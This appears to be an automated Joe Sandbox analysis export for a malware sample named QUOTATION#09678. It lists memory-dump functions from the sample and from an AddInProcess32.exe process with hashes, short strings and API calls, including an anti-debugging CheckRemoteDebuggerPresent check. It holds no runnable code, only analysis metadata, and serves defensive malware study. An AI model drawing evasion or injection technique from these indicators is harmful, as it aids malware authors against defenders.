Source File: 00000000.00000002.1897616193.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_QUOTATION#09678.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 250be337f0419e1e2da5afbbb765548780919b51f95afeb2c50e728497802117
Instruction ID: 0a07eba3632ed0835d41e3e165648090c5f15f0b41602634faea118788389412
Opcode Fuzzy Hash: 250be337f0419e1e2da5afbbb765548780919b51f95afeb2c50e728497802117
Instruction Fuzzy Hash: AF412A3190DB884FD719DBA898166E97FE0EF56321F0443AFE099C3193DE7468068792

Function 00007FFD9B880ED1 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNELBASE ref: 00007FFD9B880F9F

Memory Dump Source

Source File: 00000000.00000002.1897616193.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_QUOTATION#09678.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: ccd3ee22c8a245e81359aa50ee6076ce04b26a50c09f119336cb8bca7177883c
Instruction ID: a5e0984d4c3495ba5dfec05b192eaec4334b5de8310b4f9d7427ef2d464f337d
Opcode Fuzzy Hash: ccd3ee22c8a245e81359aa50ee6076ce04b26a50c09f119336cb8bca7177883c
Instruction Fuzzy Hash: EA41F33050E7C84FDB26DBA89855AE67FF0EF47220F0541AFD089C71A3C669540ACB52

Function 00007FFD9B9510C9 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1897842808.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b950000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9fde5b597bb2205e6f0aa2bce7ee8d9a1b781e531d6f64633278b460e5338eb
Instruction ID: 665f5c37f3e024e86fa769300032363b19190ed0c19925ab723d495172002799
Opcode Fuzzy Hash: a9fde5b597bb2205e6f0aa2bce7ee8d9a1b781e531d6f64633278b460e5338eb
Instruction Fuzzy Hash: D5714A31A1EB8D4FDB66DBA8C8755A83BE0EF55304B0601FBD44AC71A3DE68AD41C381

Function 00007FFD9B950A04 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1897842808.00007FFD9B950000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b950000_QUOTATION#09678.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7211e87d626800b1dc3e14ad6ff40056276e48a84f9872eaea4c08e0465295c2
Instruction ID: 8ac3b1f8b0d3257754b151a7f8d6e0d49dc77af9ef07f9b1548fbadf9714e908
Opcode Fuzzy Hash: 7211e87d626800b1dc3e14ad6ff40056276e48a84f9872eaea4c08e0465295c2
Instruction Fuzzy Hash: F8E0E530A056298ADB64DB48D841BE9B3B1EB88200F0041E5D55DA7251CB306A848B42

Analysis Process: AddInProcess32.exePID: 5868, Parent PID: 1104COMMON

Execution Graph

Execution Coverage:	11.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	100%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 06A759B0 Relevance: 9.0, Strings: 6, Instructions: 1482COMMON

Download Yara Rule

Strings

$kq, xrefs: 06A76E04
$kq, xrefs: 06A76DC3
$kq, xrefs: 06A76DB7
$kq, xrefs: 06A76E10
$kq, xrefs: 06A76DEC
$kq, xrefs: 06A76DE0

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq$$kq$$kq
API String ID: 0-1342094364
Opcode ID: 5aae0cf3cc8f94db806501145c999bd6063549975117136348efa00d3048ebda
Instruction ID: 4bdc80b178df4006757c681247a4dad69b47c3880b67e307f2e532039b119628
Opcode Fuzzy Hash: 5aae0cf3cc8f94db806501145c999bd6063549975117136348efa00d3048ebda
Instruction Fuzzy Hash: 65D22834E10605CFDB64EF64C984B9DB7F2EF89310F6485A9D409AB265EB34ED85CB80

Function 06A70040 Relevance: 3.0, Instructions: 3007COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36470a415b3b60708e7c529186ebabd61be32ca352a117823dbb221bd58af2f1
Instruction ID: 3ef73cbcfb983088c01f2aa42e300bc5ddd0e7f1d89c10e0c92d1f9aa1ab8470
Opcode Fuzzy Hash: 36470a415b3b60708e7c529186ebabd61be32ca352a117823dbb221bd58af2f1
Instruction Fuzzy Hash: 67630B31D10B1A8ACB55EF68C880699F7B1FF99300F15D79AE4587B125FB70AAC4CB81

Function 06A7B390 Relevance: 3.0, Strings: 2, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$kq, xrefs: 06A7B6F3
$kq, xrefs: 06A7B6FF

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $kq$$kq
API String ID: 0-3550614674
Opcode ID: 51bb0f1b6cc45779ba21cf10d63de9bc5f3165179b248a015ca1188ad4be3b2e
Instruction ID: 286d44a4b8fe160ada3cf32613d8460c670af6c7718881005062e21435f520da
Opcode Fuzzy Hash: 51bb0f1b6cc45779ba21cf10d63de9bc5f3165179b248a015ca1188ad4be3b2e
Instruction Fuzzy Hash: 8F02AE70B002068FDB54EF65DA906AEB7E2FF84310F648529D415DB398EB34ED86CB90

Function 06A731F8 Relevance: 2.3, Instructions: 2313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0365089b1e6870493ad65779f5f8ebe8536b2f9db1d8b9d22764ddf4a9a0343
Instruction ID: 5fab112fd0e46592cca08eab9fdf2cf76a8f80cfc7f66cd3f845b52eb1b4b832
Opcode Fuzzy Hash: c0365089b1e6870493ad65779f5f8ebe8536b2f9db1d8b9d22764ddf4a9a0343
Instruction Fuzzy Hash: C0331031D107198ECB15EF68C8846A9F7B1FF99300F15C79AD458AB225EB70EAC5CB81

Function 02CA7E88 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 02CA7EFF

Memory Dump Source

Source File: 00000004.00000002.4171292171.0000000002CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ca0000_AddInProcess32.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: f93ab0d19d207f2b2411b19c78a814850f059f2ac9c2388d78d380b71f451556
Instruction ID: 8b99da5111675a047206f694d8f522cae107c783147bb36ab5de91871daf2990
Opcode Fuzzy Hash: f93ab0d19d207f2b2411b19c78a814850f059f2ac9c2388d78d380b71f451556
Instruction Fuzzy Hash: B52148B18002598FCB10CF9AD844BEEFBF4AF48324F14846AE458A3350D738AA44CF64

Function 06A787F0 Relevance: .6, Instructions: 586COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad40ffe65b96ff62140ce8a1371d80d1bd15e4713c82f4f6cc4f2d85d3aa9345
Instruction ID: 7b30a4ff4fb18c3a943fc065335d48ef2ed9d1316a0cd5293d08f860210674fb
Opcode Fuzzy Hash: ad40ffe65b96ff62140ce8a1371d80d1bd15e4713c82f4f6cc4f2d85d3aa9345
Instruction Fuzzy Hash: 1412B175F002058FDB64EB64C98466EBBB2EF85310F24887AD8169F395DB38EC45CB90

Function 06A7E850 Relevance: .6, Instructions: 580COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d69a7ea519b74e9e2f48def14d05a32d65215b72f578e06ff09004576967e74a
Instruction ID: 264963c95ea65817428fc1f2d8a204de639faf85d60f6625980a344e314c99dd
Opcode Fuzzy Hash: d69a7ea519b74e9e2f48def14d05a32d65215b72f578e06ff09004576967e74a
Instruction Fuzzy Hash: 82227330E102099FDF64EB68D9807AEBBB6FB85310F248866E415EF395DB35DC818B51

Function 06A7F7B0 Relevance: .5, Instructions: 495COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1633a302c6cd9d8d5bc8ab6494a6d54affd92cbdd253ab74b99193657a3e67b
Instruction ID: 4fc57008a4e9d41f1736ae189a41b06662f1f55fc8c494c1aa8f6729fe3e808f
Opcode Fuzzy Hash: b1633a302c6cd9d8d5bc8ab6494a6d54affd92cbdd253ab74b99193657a3e67b
Instruction Fuzzy Hash: 60028B35A10205DFDB64EF68D990BAEB7B2EB88310F108525E815DB399DB34ED85CB90

Function 06A7E2E8 Relevance: 10.4, Strings: 8, Instructions: 388
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$kq, xrefs: 06A7E415
$kq, xrefs: 06A7E409
$kq, xrefs: 06A7E468
$kq, xrefs: 06A7E45C
$kq, xrefs: 06A7E4C0
$kq, xrefs: 06A7E48B
$kq, xrefs: 06A7E4B4
$kq, xrefs: 06A7E497

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq$$kq$$kq$$kq$$kq
API String ID: 0-1078448309
Opcode ID: fa9a3dbb2e8f99783ea790765d2915d1c786a16eb046eea4f433806207475dce
Instruction ID: e0262d371aaf27a17a949fdc96a92d625b44f768c768f10e256c959177da168b
Opcode Fuzzy Hash: fa9a3dbb2e8f99783ea790765d2915d1c786a16eb046eea4f433806207475dce
Instruction Fuzzy Hash: C0E16E31E1020A8FDB65EF69D9906AEB7B2FF84304F208569D405AB355EB35DC46CB90

Function 06A7C768 Relevance: 5.2, Strings: 4, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$kq, xrefs: 06A7C813
$kq, xrefs: 06A7C81F
$kq, xrefs: 06A7C7D8
$kq, xrefs: 06A7C7E4

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $kq$$kq$$kq$$kq
API String ID: 0-2881790790
Opcode ID: 96079f638e89e9dec810152e511fe7475bf757135b1c2a6acdc73249b458ffdd
Instruction ID: 8975b7f58f2ba003d078c90e810b9f30e352e40a232eef4f7ae5f235fb627cca
Opcode Fuzzy Hash: 96079f638e89e9dec810152e511fe7475bf757135b1c2a6acdc73249b458ffdd
Instruction Fuzzy Hash: 39914D71F0020A8FDF64EF65D9507AEB7B6EF84250F508569C40AEB358EB31ED468B90

Function 06A77DC0 Relevance: 3.9, Strings: 3, Instructions: 186
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fpq, xrefs: 06A77DEB
\Opq, xrefs: 06A77F9B
XPpq, xrefs: 06A77F11

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: fpq$XPpq$\Opq
API String ID: 0-2571271785
Opcode ID: 1329519e0e940e83f13ead5ecef81a4ce2888c9e0f95072c8c31e5011a0d2a99
Instruction ID: f8349bc6e55e66ea1dc4fea2c52ef9b641089f98c45ce9741abbea30de00ba78
Opcode Fuzzy Hash: 1329519e0e940e83f13ead5ecef81a4ce2888c9e0f95072c8c31e5011a0d2a99
Instruction Fuzzy Hash: AC616F35F102099FEB54ABA4C9547AEBAF6FF88300F208029E506AB395DF759C458B90

Function 06A7C759 Relevance: 2.7, Strings: 2, Instructions: 167
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$kq, xrefs: 06A7C813
$kq, xrefs: 06A7C7D8

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: $kq$$kq
API String ID: 0-3550614674
Opcode ID: 3339fd5d2716f856f7fe5eee9c0722a2693b5d12ff91eb0ed0a7aa2d6571b3de
Instruction ID: 3289239b5b7212534b0a2da89ab3e7d0658d7493b778feacddf5826eb4866628
Opcode Fuzzy Hash: 3339fd5d2716f856f7fe5eee9c0722a2693b5d12ff91eb0ed0a7aa2d6571b3de
Instruction Fuzzy Hash: FC514F75B002068FDF94EB75D95076E77F6EB84650F50886AC40ADB399EB31DC428B90

Function 06A77DB0 Relevance: 2.6, Strings: 2, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fpq, xrefs: 06A77DEB
XPpq, xrefs: 06A77F11

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: fpq$XPpq
API String ID: 0-1280283
Opcode ID: 756382b1fa596786d998ae5964a6b28beb6185d3b053934ba9856686a1324b9d
Instruction ID: 4d57655f194b62ab815ea543bf58441c9c3dd553d4d8c1d6813e67b5bbffb396
Opcode Fuzzy Hash: 756382b1fa596786d998ae5964a6b28beb6185d3b053934ba9856686a1324b9d
Instruction Fuzzy Hash: 15516074F102099FEB54ABA4C9547AEBBF7BF88300F208529E506AB395DB748C41CB90

Function 02CA7E81 Relevance: 1.6, APIs: 1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNEL32(?,?), ref: 02CA7EFF

Memory Dump Source

Source File: 00000004.00000002.4171292171.0000000002CA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02CA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_2ca0000_AddInProcess32.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID:
API String ID: 3662101638-0
Opcode ID: 60f362ec5f3d97c689ea8315ef56b8efc5cc445daf853e0513b51e05fa3f7d91
Instruction ID: 3486b800858d459567b96b5418145eb183c4682caa7b5c0b5e3e634fcf482185
Opcode Fuzzy Hash: 60f362ec5f3d97c689ea8315ef56b8efc5cc445daf853e0513b51e05fa3f7d91
Instruction Fuzzy Hash: 932139B1800259CFCB10CF99D884BEEFBF4AF48314F14846AE455A3351D738AA44CF64

Function 06A75815 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

PHkq, xrefs: 06A75963

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: PHkq
API String ID: 0-902561536
Opcode ID: 9bc9553fe245834a87d6d9177d366b46a5c2c3eb07b6284f518b440d2b45cc75
Instruction ID: 40f384353e6bf8982f510b4f40db5bb57ce7f2ad2f0c944d7c13dd13ee45a42c
Opcode Fuzzy Hash: 9bc9553fe245834a87d6d9177d366b46a5c2c3eb07b6284f518b440d2b45cc75
Instruction Fuzzy Hash: 4131D035F002058FDB58AB74CA5426E7BA2FF89250F244568D402DB398EF34DC86CB90

Function 06A75828 Relevance: 1.4, Strings: 1, Instructions: 105COMMON

Download Yara Rule

Strings

PHkq, xrefs: 06A75963

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID: PHkq
API String ID: 0-902561536
Opcode ID: dd7754ee9d838d44205df682c9c3055f76283d57344f8cf9452be4e3295185ee
Instruction ID: c79ecccaef162cd3f18b4cdeccf5d1e55bb6de3abc7a538efe53b0452635402a
Opcode Fuzzy Hash: dd7754ee9d838d44205df682c9c3055f76283d57344f8cf9452be4e3295185ee
Instruction Fuzzy Hash: B631AD71F002058FDB58AB74DA5426F7AA7EB89250F244528D406EB399EF35DC46CB90

Function 06A79808 Relevance: .6, Instructions: 558COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 302ddb3df7a76096287e7d1dd868b717a2003d946776ffbdf3918ac60b0a230e
Instruction ID: 0bb5c51bf8d84b3729410d3130f85dd0a737e49660c609b4b1a0b321297f1d9c
Opcode Fuzzy Hash: 302ddb3df7a76096287e7d1dd868b717a2003d946776ffbdf3918ac60b0a230e
Instruction Fuzzy Hash: 17127F35B102058FDF54EB68D9906AEB7F6EF88310F24846AE406DB395DB35ED42CB90

Function 06A797F8 Relevance: .3, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5ccc34308856ebce8c068231cfdfb4e6d4ad5b89113da3a5dd38b573c65ebde
Instruction ID: c1bad7f506e2c2c958f2654a70bf03e305cf7dfc04989f1acb190bcfd814c3a9
Opcode Fuzzy Hash: b5ccc34308856ebce8c068231cfdfb4e6d4ad5b89113da3a5dd38b573c65ebde
Instruction Fuzzy Hash: 8FC13035E101058FDF54EB68D990AAEBBF6EF88310F648426D805DB365DB35ED42CB50

Function 06A7E840 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89b0b1650a5d7fc99c3550cd7b6c6fc505a096dedddadd7f59077828a2e58839
Instruction ID: d7be2e7c7107bfcfc44bd8bb7bd5d6d782b2021b6fc9358014bb0ac517d1efcb
Opcode Fuzzy Hash: 89b0b1650a5d7fc99c3550cd7b6c6fc505a096dedddadd7f59077828a2e58839
Instruction Fuzzy Hash: CAA19674F002098FEF64EB6CC9907AEBBB6FB89310F208865D405EB395DA35DC818751

Function 06A7A328 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc2f198fc40464a4febdcf8c6ea286c922e8e57f1a59cb459009019888f420a1
Instruction ID: a565407615b841895085f1fdc1082da3618114d732df6352f0b4199826fa564e
Opcode Fuzzy Hash: cc2f198fc40464a4febdcf8c6ea286c922e8e57f1a59cb459009019888f420a1
Instruction Fuzzy Hash: B5A17B34A00204EFCB64EF68DA44B6DBBF2EF84314F548569E51AAB354DB35ED85CB80

Function 06A79408 Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0da1ee56ee5e3791ea82526722230dcfa14b2567245e23fc4af3b3f67140a48
Instruction ID: b19e5e88454aaf61b89181e7f3ee495a517edc21322d07b134a021e96c0b8d05
Opcode Fuzzy Hash: d0da1ee56ee5e3791ea82526722230dcfa14b2567245e23fc4af3b3f67140a48
Instruction Fuzzy Hash: 6C61C1B2F001114FDF55AB7DCC8066FAAEBAF94620B54443AE80ADB379DE65DC0287C1

Function 06A774F0 Relevance: .2, Instructions: 225COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00a4d3fdcad253fc98dd652bea70a4babed5c2d9dd3f48709633a55ddc8823f6
Instruction ID: 85a07e08a8a4a1f56e0753647bf45066da649f3ac61fa77ce145f2577e43c022
Opcode Fuzzy Hash: 00a4d3fdcad253fc98dd652bea70a4babed5c2d9dd3f48709633a55ddc8823f6
Instruction Fuzzy Hash: DD811C75B102098FDF54EF69D9547AEB7B6EB84300F208469D40ADB398EF34DC428B91

Function 06A77814 Relevance: .2, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f79de83cfe6f2e0bea32d1b5305fa198094e1467d43c11db8b196aa170f0da1
Instruction ID: 1c1e9c2a391278f5725c58f3154082fdf884cebe74ed24e255878cf13e554d99
Opcode Fuzzy Hash: 1f79de83cfe6f2e0bea32d1b5305fa198094e1467d43c11db8b196aa170f0da1
Instruction Fuzzy Hash: CE913A34E1061A8FDF60DF68C890B9DB7B1FF89310F208599D549AB295DB70AE85CF90

Function 06A77500 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6e6a455f90731311fe73aa17d88ac5cbb483282781c9f93627d3b42e643ded9
Instruction ID: 89861363ed73e1a3597a91ae6dc1f1f0ead6cb369f8639b81b1ed9a7a275fe2f
Opcode Fuzzy Hash: d6e6a455f90731311fe73aa17d88ac5cbb483282781c9f93627d3b42e643ded9
Instruction Fuzzy Hash: 87811D35B102098FDF54EF69D95466EB7B6EB84300F108469D40ADB398EF74EC468B91

Function 06A77828 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c036d94983dfb94b4fdbee4b7f7e56924e7c7dcda9a82591a47b4b65a3de3cbd
Instruction ID: 16a9e6dc39a1c9cdc4c0c94fb47cd5988813f8d343e776d24f1d72246da8e5da
Opcode Fuzzy Hash: c036d94983dfb94b4fdbee4b7f7e56924e7c7dcda9a82591a47b4b65a3de3cbd
Instruction Fuzzy Hash: 11912934E1061A8BDF60DF68C890B9DB7B1FF89310F208599D549AB295DB70EE85CF90

Function 06A78678 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 433c514cc98aeb4650a0dfc86b6c6fe5b66ef1f84f9c9c6410e0040917966fce
Instruction ID: a69326a79d365a27742508efcc5e50165ad0b202be3029ac19aa996793584b62
Opcode Fuzzy Hash: 433c514cc98aeb4650a0dfc86b6c6fe5b66ef1f84f9c9c6410e0040917966fce
Instruction Fuzzy Hash: 26416B76E102099FDB60DF99CC84AAFFBB2FB84310F10493AE256DB640D734E9458B90

Function 06A78668 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a7f1bd3b175c6b544d128ce3cbad5b289d729eaa806faf9c8fb0fd92815bfcf
Instruction ID: 732e017610d4085a064f66617b32b36dc39d0f69e86d9150ce2ac238ab750965
Opcode Fuzzy Hash: 4a7f1bd3b175c6b544d128ce3cbad5b289d729eaa806faf9c8fb0fd92815bfcf
Instruction Fuzzy Hash: B8318C76E107059FCB60DFA9CDC4AAFFBB2FB84310F10492AE156DB650D734A9458B90

Function 06A756E8 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1af79de3c7f6576e66053487324e421761c00fda309238e3e44d513cebae8b8
Instruction ID: d1b740e24c081d1ebe1d9be2044efa884027d36bb2a8bcbeba90c67b186edddb
Opcode Fuzzy Hash: a1af79de3c7f6576e66053487324e421761c00fda309238e3e44d513cebae8b8
Instruction Fuzzy Hash: 83313B34E102099BDB55DF65D994A9EBBB6AF89300F10C929E806EB354EF70EC46CB40

Function 06A756E7 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cb8f95ce190048e74c093fbb161906eef73016bf3d225a289826fe2e44d2bf1
Instruction ID: 21024e4aecfbe43b510a280f27430ec12f123b2e4ead06a8b4ba93f995879507
Opcode Fuzzy Hash: 7cb8f95ce190048e74c093fbb161906eef73016bf3d225a289826fe2e44d2bf1
Instruction Fuzzy Hash: 32313C34E102059BDB55DF64D995A9EBBB2BF89300F10C929E806EB354EF70EC46CB40

Function 06A756DE Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.4175922612.0000000006A70000.00000040.00000800.00020000.00000000.sdmp, Offset: 06A70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6a70000_AddInProcess32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 06b1de192736d5e0864fc93876a989e55ce58375f2855b8e74c87cd098e54a8c
Instruction ID: 52fbaa464b4fa8e6d639c8aa0fad1e33e7f14178462dae6cad067939f686ccb4
Opcode Fuzzy Hash: 06b1de192736d5e0864fc93876a989e55ce58375f2855b8e74c87cd098e54a8c
